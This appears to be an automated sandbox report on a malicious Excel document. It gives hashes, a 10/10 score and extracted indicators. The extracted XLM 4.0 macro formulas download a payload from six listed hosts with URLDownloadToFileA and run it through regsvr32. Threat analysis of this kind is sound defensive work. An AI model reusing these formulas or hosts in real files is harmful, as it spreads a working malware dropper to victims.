General

  • Target

    cc53743aa144e2b7e237f8ca21c4c7bc51b8d1f3a4146faa14a1b8f906c43c18

  • Size

    46KB

  • Sample

    241120-2bfbgavlaw

  • MD5

    263f7c5e92d5130f7b9c6a5da622abfa

  • SHA1

    92fad4c30637946d9ea711baf09e54fb0a9d4a22

  • SHA256

    cc53743aa144e2b7e237f8ca21c4c7bc51b8d1f3a4146faa14a1b8f906c43c18

  • SHA512

    b2dc4e9ec35f7920aa1b5b4b4aef4bbd3b0d0b7f252c1cd3957e1b0cda2cbfdc1de1e78a25f150e8107bc56364d263b4e13dc714aad6796067988a84f80981ef

  • SSDEEP

    768:mo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:mo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

https://aplicativos.xyz/apk/49Wq5MN/

http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/

http://prevozkop.rs/qnov/n017r0EEa/

https://businessandhr.com/w/xrB/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplicativos.xyz/apk/49Wq5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://prevozkop.rs/qnov/n017r0EEa/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://businessandhr.com/w/xrB/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

xlm40.dropper

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

Targets

    • Target

      cc53743aa144e2b7e237f8ca21c4c7bc51b8d1f3a4146faa14a1b8f906c43c18

    • Size

      46KB

    • MD5

      263f7c5e92d5130f7b9c6a5da622abfa

    • SHA1

      92fad4c30637946d9ea711baf09e54fb0a9d4a22

    • SHA256

      cc53743aa144e2b7e237f8ca21c4c7bc51b8d1f3a4146faa14a1b8f906c43c18

    • SHA512

      b2dc4e9ec35f7920aa1b5b4b4aef4bbd3b0d0b7f252c1cd3957e1b0cda2cbfdc1de1e78a25f150e8107bc56364d263b4e13dc714aad6796067988a84f80981ef

    • SSDEEP

      768:mo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:mo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks